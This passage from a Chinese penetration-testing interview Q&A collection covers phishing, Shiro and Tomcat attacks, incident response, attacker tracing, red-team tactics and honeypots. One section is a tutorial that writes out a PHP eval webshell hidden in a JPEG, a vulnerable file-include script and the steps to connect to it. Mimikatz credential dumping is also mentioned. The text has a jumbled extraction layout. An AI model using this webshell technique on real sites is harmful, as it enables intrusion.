号密码等信息,然后利用这些信息进一步攻击域控制器。#
2. 钓鱼网站:攻击者可以构造一个与目标网站相似的钓鱼网站,通过社会工程学手段诱导用户在该网站上输入账号密码等信息,然后利用#
这些信息进一步攻击域控制器。#
3. 恶意文档:攻击者可以构造一个恶意文档,通过社会工程学手段诱导用户打开该文档,从而下载木马或者钓鱼网页,获取用户的账号密#
码等信息,然后利用这些信息进一步攻击域控制器。#
4. 社交工程学攻击:攻击者可以通过社交网络等手段,获取目标用户的信息,然后伪装成可信的身份,通过社交工程学手段诱导用户提供#
敏感信息,然后利用这些信息进一步攻击域控制器。 针对这些攻击手段,建议企业可以采取以下防御措施:#
5. 加强安全意识培训,提高用户对钓鱼攻击的识别能力。#
6. 部署反钓鱼技术,例如反钓鱼邮件网关、反钓鱼网站防护等,防止用户被钓鱼攻击。#
7. 加强网络安全监控,及时发现和阻止钓鱼攻击。#
8. 加强系统安全加固,修复系统漏洞,减少攻击面。#
9. 定期进行安全评估和渗透测试,发现并修复系统漏洞,提高系统的安全性。#
四十三、你是用的什么社工库?当前有哪些社工库是被开放的?你是怎么翻墙#
的?怎样去大量挖掘漏洞?#
目前有一些社工库是被开放的,例如 FOFA、Shodan、ZoomEye 等,这些平台提供了很多 IP 地址和域名信息,可以用于安全监测和渗透测 试。
关于翻墙,可以使用 VPN 或者代理工具,这些工具可以让我们绕过网络限制,访问境外的资源。但是需要注意的是,使用 VPN 或者代理工#
具需要注意安全问题,避免个人信息泄露和网络攻击。#
至于大量挖掘漏洞,可以使用自动化工具进行扫描和测试,例如 Nessus、OpenVAS、Burp Suite 等,这些工具可以快速发现目标系统的漏 洞,并自动生成报告,为后续的修复和加固提供参考。但是需要注意的是,自动化工具也存在误报和漏报的问题,需要结合手工测试和代码 审计等手段进行综合分析。
四十四、图片码上传成功的前提是什么?怎么利用图片码?#
有图片,有木马,然而菜刀连接不上,你绝望吗?不怕今天我会教大家的。#
我们先看一下源码吧,过关方式也是叫我们上传图片马。。。#
然后我还要说吗一下,图片马不是一张木马图片一个菜刀就可以了的。还需要一个漏洞,叫做文件包含漏洞。。。这个漏洞原理呢#
一:准备图片马#
需要用到DOS指令#
Bash
这个指令的意思是,把001.jpeg和test.php合并到一起。很明显test.php就是webshell了
那么test.php里面的代码
PHP
很明显,那个yuer就是我们的webshell密码。你可以改成你自己需要的。。。
然后打开CMD,切换到指定目录,合成之前是没有2.jpg的
copy 001.jpeg/b + test.php/a 2.jpg<?php eval($_POST['yuer']); ?>好的,就会多出一个2.jpg…这就是图片马。
二:准备好我们的文件包含漏洞#
文件有包含漏洞的php文件include.php,代码如下
PHP
这便是最简单的文件包含漏洞代码,那么这个漏洞是必须服务器端自带的,也就是说如果你要攻击的网站没有文件包含漏洞,图片马就是用#
不了的。#
文件包含漏洞简单说就是,在这个include.php中需要引用其他应用程序,php中应用程序文件是.php也就是说,他本来想引用一个php文 件,但是漏洞就是,他不会识别什么是php文件,只要是他引用的,他都当php来解析,所以如果他引用的是jpg,但是jpg中有图片马,那么 他就相当于引用了图片马,同样的道理还会有zip马等等
这个具有文件包含漏洞的文件在这里。#
三:上传图片马#
<?php
$file = $_GET['file'];
include $file;
?>成功上传图片马#
然后我们先正常访问一下这个图片吧,因为我是本地搭建的服务器,所以我知道路径在哪里#
可以看到图片是非常正常的,完全看不出有木马。#
好,我们再用文件包含去访问一次这个图片,文件包含include.php在根目录里,然后呢.
四:菜刀链接#
这一步就比较经典了,你必须把图片用,包含漏洞的链接去连接#
然后呢,点击添加。。。再右键点击文件管理。。。#
成功拿到webshell
四十五、shiro 返回包中没有 rememberme 字样怎么测试?外网打点怎么利#
用?#
如果 Shiro 返回包中没有 rememberme 字样,可以尝试以下方法进行测试:
1.尝试使用默认的 rememberMeCookie 值进行测试,即 rememberMeCookie=rememberMe。
2.查看 Shiro 配置文件中是否启用了 rememberMe 功能,如果启用了,那么 Shiro 在返回包中肯定会有 rememberMe 相关信息。
3.尝试使用 burp suite 等抓包工具,查看 Shiro 返回包中是否有 rememberMe 相关的 cookie 或者参数。
对于外网打点如何利用,这需要根据具体情况来判断。通常情况下,外网打点可以用于探测目标系统的漏洞和弱点,进一步进行渗透测试。#
例如,可以使用端口扫描工具扫描目标系统的开放端口,了解目标系统的服务和应用情况;可以使用漏洞扫描工具对目标系统进行扫描,发#
现目标系统的漏洞;可以使用社工技术获取目标系统的敏感信息,进一步进行攻击。#
四十六、Tomcat 攻击思路#
1.Tomcat 攻击思路主要包括以下几种: 目录遍历攻击:攻击者通过特殊的 URL 访问 Tomcat 服务器上的文件,以获取敏感信息或者执行恶意代码。 2.SQL 注入攻击:攻击者通过构造特定的 SQL 语句,向 Tomcat 服务器提交恶意数据,从而获取敏感信息或者执行非法操作。 3.XSS 攻击:攻击者通过在 Tomcat 服务器上注入恶意脚本代码,从而在用户的浏览器上执行恶意操作,如窃取用户的敏感信息。 4.CSRF 攻击:攻击者通过伪造用户请求,向 Tomcat 服务器发送恶意请求,从而执行非法操作,如修改用户信息、转账等。 5.DoS/DDoS 攻击:攻击者通过向 Tomcat 服务器发送大量的请求,耗尽服务器资源,从而使服务器无法正常工作,甚至崩溃。 为了防止这些攻击,建议对 Tomcat 服务器进行安全加固,如限制访问权限、使用安全证书、禁用不必要的服务、及时更新漏洞补丁等。同 时,也需要加强用户的安全意识,避免在浏览器上输入敏感信息、不轻信不明来源的链接等。
第五章 安服#
一、你了不了解相关安全设备,ips 和 ids?#
IDS全称是入侵检测系统(Intrusion Detection System),是用于检测网络或主机上的恶意攻击的设备或软件。IDS可以分为网络IDS和主机 IDS两种,网络IDS主要检测网络流量中的威胁,而主机IDS主要检测主机上的恶意行为。IDS通常使用模式匹配、异常检测和行为分析等技术 来检测威胁,并产生警报或触发响应措施。
IPS全称是入侵防御系统(Intrusion Prevention System),是一种主动的安全设备,能够检测到网络或主机上的恶意攻击并阻止其传播。 IPS在IDS的基础上增加了阻止攻击的功能,可以对恶意流量进行过滤、阻拦攻击者的连接等。IPS可以分为网络IPS和主机IPS两种,网络IPS 主要防御网络流量中的威胁,而主机IPS主要防御主机上的恶意行为。
总的来说,IDS和IPS都是用于网络安全监测和防御的设备,IDS主要用于检测威胁,而IPS不仅能够检测威胁,还能够主动阻止恶意攻击。在 实际应用中,IDS和IPS通常结合使用,形成完整的安全防护体系。
二、对安全产品了解多少,接触过吗,去过厂家实地检测过吗?问路由器工作在#
在哪层?说说你知道的有哪些安全设备? 说一下应急响应的流程#
我了解安全产品的种类和功能,例如防火墙、入侵检测系统(IDS)、入侵防御系统(IPS)、安全信息与事件管理系统(SIEM)、虚拟专用#
网络(VPN)、综合安全解决方案等。我曾接触过一些安全产品,但没有去过厂家实地检测过。#
路由器工作在网络层,主要用于转发数据包,实现网络互联和通信。#
常见的安全设备包括:#
1.防火墙:用于过滤不安全的网络流量,保护网络安全。#
2.IDS/IPS:用于检测和防御恶意攻击和入侵,保护网络安全。#
3.SIEM:用于实时收集和分析安全事件,提供有效的安全管理和决策支持。#
4.VPN:用于建立加密通信链路,保护用户的网络访问安全。#
5.综合安全解决方案:例如安全网关、Web 应用程序防火墙等,提供全面的安全保护。
应急响应的流程一般包括以下几个步骤:
1.搜集信息:收集与安全事件相关的信息,包括事件类型、时间、地点、受影响的系统和应用程序等。
2.评估风险:分析安全事件的风险程度和影响范围,制定应急响应策略和计划。
3.应急响应:根据应急响应计划,对安全事件进行处理和修复,防止事件扩散和影响。
4.事后处理:收集分析安全事件的数据和日志,评估响应的效果和效率,总结经验教训,改进安全管理和防护措施。 以上是应急响应的基本 流程,具体的响应措施需要根据不同的安全事件和应急情况进行调整和实施。
三、说一下应急响应的原则以及关键点#
应急响应的原则#
* 3w1H原则易失性原则:#
要素原则#
避害原则#
四、假如发现客户被挖矿了该怎么应急响应?假如公司被攻击了,你如何做应急#
响应?#
如果发现客户被挖矿了,应采取以下应急响应措施:#
1.立即隔离受感染的机器,防止病毒继续传播。#
2.停止挖矿程序的进程。#
3.清除病毒,可以使用杀毒软件进行扫描和清除病毒。#
4.检查其他机器是否被感染,及时清除病毒。#
5.检查是否有异常的网络流量和行为,及时排查漏洞和风险。#
如果公司被攻击了,应采取以下应急响应措施:#
1.立即启动应急响应计划,召集应急响应小组进行处理。#
2.确认攻击的类型和攻击方式,并对攻击进行分析和追溯。#
3.隔离受攻击的机器和网络,防止攻击继续传播。#
4.收集攻击证据,包括攻击日志、网络数据等,为后续调查和法律诉讼提供证据。#
5.进行漏洞扫描和修复,加强安全防护措施,预防再次被攻击。#
6.向管理层和相关利益相关者及时汇报情况,采取适当的公关措施,减少公司的声誉和财务损失。#
7.对员工进行安全教育和培训,提高员工的安全意识和技能,加强整个组织的安全防护能力。#
五、客户主机中了勒索病毒怎么进行应急响应?了解过基线加固吗?#
客户主机中了勒索病毒后,应该采取以下应急响应措施:#
1.立即隔离受感染的机器,防止病毒继续传播。#
2.打开备份,恢复受感染机器上的数据。#
3.对受感染的机器进行杀毒和清除病毒操作。可以使用杀毒软件进行扫描和清除病毒。#
4.检查其他机器是否被感染,及时清除病毒。#
基线加固是指对系统的安全基线进行加强和完善,以提高系统的安全性和稳定性。基线加固的主要内容包括:系统配置管理、用户权限管#
理、访问控制管理、日志管理、软件安装和更新管理等。基线加固可以有效预防和防范各种安全威胁和攻击。 了解基线加固的目的是为了构#
建一个更加安全可靠的系统环境,防范各种安全威胁和攻击。同时,基线加固还可以提高系统的稳定性和可维护性,降低系统故障和风险。#
需要注意的是,基线加固需要根据具体的系统环境和需求进行,不能盲目加强安全措施,否则可能会影响系统的正常运行。#
3W即Who、What、Why,1H即How,做应急响应要带着疑问来做事,一定要收集清楚这些信息。
网络拓扑是怎么样的?需求是啥?发生了什么事?你能做什么?用户用了什么产品?产品版本多少?病毒库版本多少?多少主机中了?主机是普通PC还是服务
器?服务器是做什么的?.
信息收集越多,对应急响应越有利做应急响应免不了要做信息收集和取证的,但这里是有一定的先后顺序的,即最容易丟失的据,应该最先收集,其它的依次类推做应急响应,主要是抓关键证据,即要素,这些要素包括样本、流量、日志、进程及模块、内存、启动项做应急响应,要做到趋利避害,不能问题还没有解决,反而引入了新的问题。
譬如,自己使用的工具被感染而不知情;给用户使用不恰当的工具或软件造成客户主机出现问题;
给别人发样本,不加密,不压缩,导致别人误点中毒,
最极端的场景就是给别人发勒索样本不加密压缩,导致别人误点中毒六、有没有安全设备部署经验?攻防演练你负责干什么?#
安全设备部署经验#
1.防火墙:通常部署在网络边缘,用于过滤不安全的网络流量。#
2.入侵检测系统(IDS)/ 入侵防御系统(IPS):通常部署在内部网络中,用于检测和阻止恶意攻击和入侵。#
3.安全信息与事件管理系统(SIEM):用于实时收集和分析安全事件,并提供有效的安全管理和决策支持。#
4.虚拟专用网络(VPN):用于建立加密通信链路,保护用户的网络访问安全。#
5.综合安全解决方案:例如安全网关、Web 应用程序防火墙等,用于提供全面的安全保护。
在攻防演练中,我的职责包括:#
1.规划和设计攻防演练方案,确保演练程序的可行性和有效性。#
2.模拟攻击者的攻击行为,验证安全设备和措施的有效性和可靠性。#
3.收集和分析攻防演练的数据和结果,评估安全设备和措施的性能和优缺点。#
4.提出改进建议,协助管理层制定更加有效的安全策略和措施。#
5.培训员工,提高员工的安全意识和技能,加强整个组织的安全防护能力。#
七、系统被植入勒索病毒应该如何应急响应?勒索病毒如何防范?#
系统被植入勒索病毒后,应该采取以下应急响应措施:#
1.立即隔离受感染的机器,防止病毒继续传播。#
2.打开备份,恢复受感染机器上的数据。#
3.对受感染的机器进行杀毒和清除病毒操作。可以使用杀毒软件进行扫描和清除病毒。#
4.检查其他机器是否被感染,及时清除病毒。#
勒索病毒的防范措施如下:#
1.定期备份数据,避免数据丢失。#
2.安装杀毒软件,并定期更新病毒库。#
3.禁止未知来源的文件下载和运行。#
4.避免打开垃圾邮件或未知的邮件附件。#
5.及时更新操作系统、软件和应用程序的补丁和安全更新。#
6.安装防火墙,设置访问控制策略,限制非必要的网络访问。#
7.加强用户安全意识教育,避免点击未知链接或下载未知软件。 需要注意的是,勒索病毒具有危害性较高的特点,一旦感染,很难恢复数#
据,因此防范工作必须及时、全面、严格。#
八、如果一台机器不出网,怎么去连它?#
如果一台机器不出网,可以使用以下几种方法去连它:#
1.在同一局域网内连机器:如果这台机器和你的机器在同一局域网内,可以通过直接连接它的 IP 地址或主机名来访问它,例如:在#
Windows 操作系统中,可以在资源管理器的地址栏中输入 \机器名 或 \IP地址 连接到这台机器。
2.通过 VPN 连接:如果这台机器加入了 VPN 网络,可以通过 VPN 连接到这台机器,例如:使用 VPN 客户端软件连接到 VPN 网络,然后访 问这台机器。
3.使用远程桌面工具:如果这台机器开启了远程桌面服务,可以使用远程桌面工具远程连接到这台机器,例如:在 Windows 操作系统中, 可以使用 Windows Remote Desktop Connection 工具连接到这台机器。
4.通过其他网络设备进行中转:如果这台机器不出网,但它接入了其他网络设备,例如路由器、交换机等,可以通过这些设备进行中转,例 如:在路由器中进行端口映射,将路由器的某个端口映射到这台机器的某个端口上,然后通过访问路由器的公网 IP 地址和端口号来访问这台 机器。
九、如果存在可以用我手机号验证码更改别人密码,你怎么跟客户简单的说一下#
这个漏洞的原理?如果电脑存在木马病毒,或者其他病毒,可以用什么方法查#
看?#
如果存在可以用你的手机号验证码更改别人密码的漏洞,这通常是由于网站或应用程序在重置密码时未进行足够的身份验证所导致的。攻击#
者可以通过获取目标用户的手机号码,然后通过网站或应用程序提供的重置密码功能,利用目标用户的手机号码来接收验证码并重置密码。#
这种漏洞的根本原因是应用程序或网站在重置密码时没有对身份验证进行充分的检查,例如没有要求用户提供足够的证明身份的信息,或者#
没有实现双因素身份验证等安全措施。#
如果电脑存在木马病毒或其他病毒,可以使用以下方法进行检查:#
1. 使用杀毒软件进行扫描和清除病毒。常用的杀毒软件包括卡巴斯基、诺顿、 360 等,可以通过下载并安装这些杀毒软件进行扫描和清除#
病毒。#
2. 使用系统自带的安全工具进行扫描和清除病毒。各种操作系统都提供了自带的安全工具,例如 Windows Defender、MacOS 的
XProtect、iOS 的 Gatekeeper 等,可以使用这些工具进行扫描和清除病毒。
3. 使用第三方安全软件进行扫描和清除病毒。除了杀毒软件之外,还可以使用其他的第三方安全软件进行扫描和清除病毒,例如
Malwarebytes、AdwCleaner 等。 需要注意的是,对于严重的病毒感染,可能需要重新安装操作系统或者使用专业的病毒清除工具进
行处理。十、怀疑服务器失陷,但扫描扫不出,检测是否被攻击了,怎么检测的?如果一#
台服务器禁用了怎么识别它开放了哪些端口?#
如果怀疑服务器失陷,但扫描扫不出,可以考虑以下几个方面进行检测:#
1.日志分析:通过分析服务器的日志,包括系统日志、应用程序日志、网络访问日志等,查找异常行为,例如异常的登录、文件访问等,从#
而判断是否存在安全漏洞或被攻击。#
2.网络流量分析:通过网络流量分析工具,例如 Wireshark,检查服务器的网络流量,查找是否存在异常的数据包或通信行为,从而判断是 否存在安全漏洞或被攻击。
3.安全审计:通过进行安全审计,例如渗透测试、漏洞扫描等,检查服务器的安全状况,从而判断是否存在安全漏洞或被攻击。
如果一台服务器禁用了,可以使用以下方法识别它开放了哪些端口:#
1.使用端口扫描工具:通过使用端口扫描工具,例如 Nmap、Netcat 等,扫描服务器的开放端口,从而识别它开放了哪些端口。
2.查看防火墙配置:如果服务器开启了防火墙,可以查看防火墙的配置,从而识别它开放了哪些端口。
3.查看应用程序配置:如果服务器上运行着应用程序,可以查看应用程序的配置文件,从而识别它开放了哪些端口。
十一、如果发现已经被反弹 shell 了,你怎么溯源?讲讲一个站如果被挂黑页的#
话你的溯源思路?#
溯源思路及案例#
1 、攻击源捕获#
安全设备报警,如扫描IP、威胁阻断、病毒木马、入侵事件等#
日志与流量分析,异常的通讯流量、攻击源与攻击目标等#
服务器资源异常,异常的文件、账号、进程、端口,启动项、计划任务和服务等#
邮件钓鱼,获取恶意文件样本、钓鱼网站URL等#
蜜罐系统,获取攻击者行为、意图的相关信息#
2 、溯源反制手段#
IP定位技术#
根据IP定位物理地址—代理IP#
溯源案例:通过IP端口扫描,反向渗透服务器进行分析,最终定位到攻击者相关信息#
ID追踪术#
ID追踪术,搜索引擎、社交平台、技术论坛、社工库匹配#
溯源案例:利用ID从技术论坛追溯邮箱,继续通过邮箱反追踪真实姓名,通过姓名找到相关简历信息#
网站url 域名Whois查询—注册人姓名、地址、电话和邮箱。—域名隐私保护 溯源案例:通过攻击IP历史解析记录/域名,对域名注册信息进行溯源分析
恶意样本 提取样本特征、用户名、ID、邮箱、C2服务器等信息—同源分析 溯源案例:样本分析过程中,发现攻击者的个人ID和QQ,成功定位到攻击者。
社交账号 基于JSONP跨域,获取攻击者的主机信息、浏览器信息、真实 IP及社交信息等 利用条件:可以找到相关社交网站的jsonp接口泄露敏感信息,相关网站登录未注销
3 、攻击者画像#
攻击路径#
攻击目的:拿到权限、窃取数据、获取利益、DDOS等#
网络代理:代理IP、跳板机、C2服务器等#
攻击手法:鱼叉式邮件钓鱼、Web渗透、水坑攻击、近源渗透、社会工程等
攻击者身份画像 虚拟身份:ID、昵称、网名 真实身份:姓名、物理位置 联系方式:手机号、qq/微信、邮箱 组织情况:单位名称、职位信息
4 、安全攻击溯源篇#
案例一:邮件钓鱼攻击溯源#
攻防场景:攻击者利用社会工程学技巧伪造正常邮件内容,绕过邮件网关的查杀,成功投递到目标邮箱,诱骗用户点击邮件链接或下载附件#
文件。#
信息收集: 通过查看邮件原文,获取发送方IP地址、域名后缀邮箱、钓鱼网站或恶意附件样本等信息。#
溯源方式:第一种,可以通过相关联的域名/IP进行追踪;第二种,对钓鱼网站进行反向渗透获取权限,进一步收集攻击者信息;第三种,通#
过对邮件恶意附件进行分析,利用威胁情报数据平台寻找同源样本获取信息,也能进一步对攻击者的画像进行勾勒。#
案例二:Web入侵溯源 攻防场景:攻击者通过NDAY和0DAY漏洞渗入服务器网段,Webshell 触发安全预警或者威胁检测阻断了C&C域名的通讯。
溯源方式:隔离webshell样本,使用Web日志还原攻击路径,找到安全漏洞位置进行漏洞修复,从日志可以找到攻击者的IP地址,但攻击者 一般都会使用代理服务器或匿名网络(例如Tor)来掩盖其真实的IP地址。
在入侵过程中,使用反弹shell、远程下载恶意文件、端口远程转发等方式,也容易触发威胁阻断,而这个域名/IP,提供一个反向信息收集和 渗透测试的路径。
案例三:蜜罐溯源 攻防场景:在企业内网部署蜜罐去模拟各种常见的应用服务,诱导攻击者攻击。
溯源方式:在攻击者入侵蜜罐时,蜜罐可以记录攻击者的入侵行为,获取攻击者的主机信息、浏览器信息、甚至是真实 IP及社交信息。
十二、比如接到客户通知他们的网站被篡改了你应该怎么做? cs 上线后如何做#
防护?#
排查思路#
排查篡改的页面。#
排查是否有Webshell。
排查是否存在操作系统级木马。
排查网站存在的漏洞及黑客的攻击路径。进行综合分析及溯源。#
常见技术手段#
直接篡改页面#
直接篡改页面是比较简单的一种方式,常见的是篡改首页或二级页面,包括直接进行替换、篡改图片、篡改内容等。#
这类事件在应急响应中,这种方式相对比较简单,可以直接发现。#
iframe框架篡改#
使用HTML语句“” (通过设置width和height 值来控制页面是否显示),这种方式相对也比较简单,可以直接发现。JS 文件篡改#
JS 篡改是比较常用的一种方式,HTML语句为#
其中“any.js”为原有的JS文件,可以在原有的JS中篡改,也可以在新建页面中。此类篡改,通过抓包工具定位该JS文件即可发现其他篡改#
其他篡改或挂马技术,目前用的比较少,如body挂马、隐蔽挂马、CSS挂马、图片伪装等。处置过程#
事件描述#
1 、接到某单位通知,网站被篡改,#
2 、通过搜索引擎发现篡改页面,立即联系网站管理员,暂停网站的访问#
3 、初步确定是网站的某个目录下被上传了页面#
处置过程简述#
1 、到达用户现后,直接查找攻击者上传的篡改页面,备份后删除#
2 、对篡改里面的代码进行分析#
发现config.php是恶意文件,通过源代码发现,该文件存在恶意链接文件:
进行base64解码后,访问网站,为菠菜网站
3 、排查webshell,使用D盾进行查杀,河马webs hell进行检测,进一步确认主机是否存在木马
base64_decode('77+9LOS9k+iCsu+/vSzotrPnkIPvv70s5q+U5YiG77+9LOmAgeW9qemHke+/vSzniLHljZrkvZPogrLvv713d3cubG92ZWJ
vMjAuY29tIO+/vSA=')4 、排查日志#
5 、还原攻击路线#
根据事件线,还原攻击路径。#
十三、网站挂马后怎么办?#
在网站被挂马后,整个页面都会被篡改为对方的页面,如果不看源代码,很难察觉到问题所在,那么当网站被挂马后该如何解决呢?以下#
是详细的内容:#
1 、扫描挂马的目录#
扫描后将挂马文件删除,挂马文件会篡改页面内容,如果是生成文件则需要进行重新生成,如果是静态非生成文件,则需要把备份文件#
还原回去,如果没有备份文件我们则需要进行代码重新编辑删除被挂马篡改的部分内容。#
2 、程序目录查看修改时间#
利用软件筛选出的挂马文件不一定是全部的文件,部分文件隐藏的比较深,这时候需要进行手动点开我们网站程序目录进行修改时间查#
看,一般日期比较不一致的都有可能是挂马文件的变形,这时候我们可以针对性的查看进行删除。#
3 、将网站安全加固#
网站挂马清除后一定要记得将网站安全加固,首先文件用户权限是一个非常重要的操作,对于不需要进行写入修改的文件权限我们要进#
行文件权限修改为只读。#
4 、修复网站漏洞#
很多网站经常采用别人的模板来建站或者是后台可能是市面上流传的一些通用后台例如织梦后台,帝国后台等等都可能纯在版本漏洞,#
建议升级到最新版。#
5 、网站上传审计#
很多网站都有注册发帖功能,而很多都是通过这个漏洞进行上传篡改挂马文件,所以我们的网站在上传的这块功能上如果不是必须可以#
进行删除,或者对其发布上传的权限另外归档权限确保不会影响到本身网站。#
十四、代码审计,从代码怎么分析查找漏洞?代码审计有没有了解?#
代码审计是指对软件源代码进行详细的检查和分析,以发现存在的漏洞和安全问题。代码审计可以帮助开发人员及时发现和修复潜在的安全#
漏洞,提高软件的安全性和可靠性。#
在代码审计过程中,可以采用以下几个步骤来分析和查找漏洞:#
1.熟悉软件的业务逻辑和功能,了解软件的设计思路和开发方式。#
2.对软件的源代码进行全面的阅读和理解,包括代码结构、函数调用关系、变量定义等。#
3.使用静态代码分析工具,例如 PVS-Studio、Coverity、FindBugs 等分析工具,对代码进行静态分析,查找存在的漏洞。
4.对存在风险的代码进行深入的测试和验证,例如输入/输出测试、边界测试、参数传递测试等,以验证代码的安全性和可靠性。#
5.提出漏洞报告,并给出具体的修复建议,协助开发人员修复漏洞。#
代码审计需要具备良好的程序设计和开发经验,对各种漏洞和攻击方式有深入的了解,同时还需要掌握相关的工具和技术。在进行代码审计#
时,需要遵守相关法律法规和道德准则,不得用于非法或侵犯他人隐私的目的。#
十五、了解过蓝队的知识吗?#
如果错过互联网,与你擦肩而过的不仅仅是机会,而是整整一个时代。#
蓝队及发展趋势#
基本概念#
发展趋势#
体系化 : 每个人分工明确,要求团队合作,协同作业。#
职业化 : 蓝队成员一般来自各组织的专职实战演习团队,有明确的责任分工。#
工具化 : 各式定制化,专业化的工具增多,使得工具使用更加成体系。#
社工化 : 除钓鱼,水坑等传统社工攻击手法,蓝队还可通过在线客服,私信好友等进行攻击,获取更多的业务信息。#
强对抗 : 蓝队人员大多出身安全机构,受过专业训练,其使用的对抗技术往往更加有针对性。#
迂回性 : 目标防护严密的情况下,可从其下级单位,合作方等入手找寻突破点。#
攻击阶段#
准备阶段#
情报搜集#
建立据点#
横向移动#
攻击战术#
利用弱口令及通用口令#
蓝队通常指网络实战攻防中的攻击方。蓝队一般采用技术手段发现对方在系统,技术,人员,管理及架构上的隐患和薄弱环节。其目标是尽可能找出系统中存在的所有漏洞,所以蓝队人
员需要全面的攻防能力。在攻击过程中要求获取实际权限或数据,但不限手法,可通过社工手段达到攻击目的。但**所有的技术使用必须遵照国家的相
关法律法规。**蓝队通常三人一组,能力最强者任组长,要有较强的组织意识,应变能力和丰富的实战经验。其余队员要熟练操作各种黑客工具,分析工具,还要
熟知目标系统及其配置,并具有一定的代码开发能力。漏洞挖掘 漏洞是第一攻击力。前期的漏洞挖掘准备对攻击行为非常重要。找到漏洞后,要使其在攻击环境下达到稳定且可深度利用。工具储备 工具的目的是为了提高效率,好的工具往往事半功倍。战法策略 团队作战讲的是协同配合,好的战法策略对团队作战至关重要。以赛代练 日常训练只能提高某一方面的技能,参加赛事则能锻炼全方位的攻防能力。收集内容应包括:目标系统的组织架构,IT资产,敏感信息泄露,不良记录,下游供应商等。找到薄弱环节后,利用漏洞或使用社工方法获取外网系统控制权限一般称为“打点”或撕口子。通过绕过WAF,IPS,杀毒软件等防护设备,实现漏
洞利用,进一步进行深入渗透。如果没有找到内外联通的隔离区,蓝队会继续打点,直到找到接入内网的点为止。该点就作为从外网进入内网的根据地,通过技术手段在这个点上建立隧道,将他作为内网渗透的坚实据点。进入内网后,会对网站进行情报刺探和信息收集,利用其本身的漏洞来进行渗透成果的扩大。对含有域的内网,寻找具有管理员登陆的服务器,利
用Mimikatz获取明文密码,继而实现对域服务器的渗透控制。并控制渗透邮件服务器,OA系统权限,集中运维平台,统一认证系统等获取核心数据,
完成渗透工作。在实际工作中,通过弱口令获取权限的情况占据90%以上。很多企业员工使用过于简单的密码或其简单变形,导致通过信息收集之后,生成简单的
密码字典进行枚举即可攻陷邮箱,OA账号等。还有员工在多个网站设置同一密码,或者针对未启用SSO验证的内网业务系统使用同一套密码均可使用凭
证复用的方式攻破。当服务器的密码从来没有改过时,一旦进入系统后台就可以轻易的获得服务器权限。同时,有的管理员图方便,多个服务器使用同一套密码时,当
一个服务器被攻陷,其余服务器也都有可能会被攻陷。利用互联网边界渗透内网#
利用通用产品组件漏洞#
利用安全产品0Day漏洞#
利用人性弱点社工钓鱼#
利用供应链攻击#
利用下属单位迂回攻击#
秘密渗透#
多点潜伏#
防守弱点#
资产混乱,隔离不严格#
通用中间件未修复漏洞多#
边界设备成为内网缺口#
内网管理设备成扩大战果突破点#
安全设备自身出现问题成为新风险点#
360BugCloud作为全国第一家开源漏洞响应平台,该平台致力于维护开源通用软件安全,力争打造以技术为驱动、以安全专家为核
心,针对开源通用型高危漏洞进行安全研究及应急响应的组织与平台。从网络攻防视角,重塑漏洞平台的价值 - FreeBuf网络安全行业
门户十六、你觉得你是擅长攻还是防?如何识别蜜罐?#
大部分企业都会有开放于互联网边界的设备或者系统,如VPN系统,邮件服务系统,官方网站等。此类设备或系统经常会访问内网的重要业务,但
为了使用方便,很多企业在其传输上没有增加更多的防护手段,且此类系统会集成统一登陆,一旦获取某个员工的账号密码,就可以直接进入内网。邮件系统漏洞,数据库漏洞,OA系统漏洞等通用漏洞被利用后可以迅速获得大量账户权限,进而控制目标系统。这些漏洞很难被发现,相关活动
往往被当作正常业务而被忽略。安全产品自身也是一行行代码,也包含操作系统,数据库,各类组件,自身也会存在如安全网关,身份验证,访问管理,终端安全等问题,这些安
全问题一旦被利用,就可以获权进入网络并迅速拿下相关设备和网络的控制权限。**人是最大的漏洞**。通过钓鱼邮件或社交平台进行社工,获取其中一个账号密码就可以达到“雪崩效果”,使得整个企业的网络沦陷。冒充客户
投诉,通过多人配合向客服进行虚假问题反馈或投诉,诱使客服人员打开带毒的文件或软件就可以为打入内网提供一个“立足点”。其余非技术岗位的人
员也很容易成为外围目标,且成功率极高。从目标IT服务商,安全服务商,生产服务商等供应链机构下手,寻找漏洞,实现第三方软件及系统的恶意更新,第三方后台的操控进行攻击。绝大多数单位的下属单位和总部之间都没有有效的隔离,且下属单位的防护不会向总部那么严密,缺乏有效的访问控制,这就导致了只要下属单位
被攻陷,便可通过内网攻入总部。漏洞扫描活动特征明显,主流防护设备都设有识别漏洞扫描器的能力,一旦被发现,会触发报警或阻断IP。所以攻击者要在数据积累的情况下去
寻找特定版本,特定应用的漏洞。渗透时一般会采用不同的WebShell,使用不同的后门程序,利用不同协议建立不同的联络点。大部分的应急响应过程并不会溯源到攻击源头,也
未必能分析完整攻击路径,所以攻击者的据点依然存在,攻击者可以通过多个据点,快速实现“死灰复燃”。除了大型银行和互联网企业会对访问控制和隔离下功夫,很多企业的下级网络和上级网络可以互通,内网和互联网也可以互通,所以可以轻易地实
现从入侵一个部门到入侵其他部门,从入侵子公司到入侵总部。如所有的企业均有对外开放的邮件系统,可针对其自身漏洞,跨站漏洞,XXE漏洞以及钓鱼软件等开展社工。大部分企业都会加装VPN设备,通过对其SQL注入,远程命令执行等漏洞开展攻击,也可通过钓鱼,爆破,弱口令等方式绕过外网打点,直接进入
内网。堡垒机,虚拟化,自动化运维,邮件系统等内网管理设备虽是安全防护的集中设备,但缺乏定期维护,反而会成为扩大权限的突破点。安全设备自身的开发检测没有做到位,用户又缺乏必要的安全检测工作,成为攻击者新的目标。前言#
最近在攻防演练中经常会遇到蜜罐,这次就来唠唠蜜罐。#
蜜罐是对攻击者的欺骗技术,用以监视、检测、分析和溯源攻击行为,其没有业务上的用途,所有流入/流出蜜罐的流量都预示着扫描或者攻#
击行为,因此可以比较好的聚焦于攻击流量。#
蜜罐可以实现对攻击者的主动诱捕,能够详细地记录攻击者攻击过程中的许多痕迹,可以收集到大量有价值的数据,如病毒或蠕虫的源码、#
黑客的操作等,从而便于提供丰富的溯源数据。#
但是蜜罐存在安全隐患,如果没有做好隔离,可能成为新的攻击源。#
一、蜜罐分类#
按用途分类,蜜罐可以分为研究型蜜罐和产品型蜜罐。研究型蜜罐一般是用于研究各类网络威胁,寻找应对的方式,不增加特定组织的安全#
性。产品型蜜罐主要是用于防护的商业产品。#
按交互方式分类,蜜罐可以分为三类,低交互式蜜罐,中交互式蜜罐,高交互式蜜罐。#
低交互式蜜罐 :通常是指与操作系统交互程度较低的蜜罐系统,仅开放一些简单的服务或端口,用来检测扫描和连接,这种容易被识别。#
中交互式蜜罐 :介于低交互式和高交互式之间,能够模拟操作系统更多的服务,让攻击者看起来更像一个真实的业务,从而对它发动攻击,#
这样蜜罐就能获取到更多有价值的信息。#
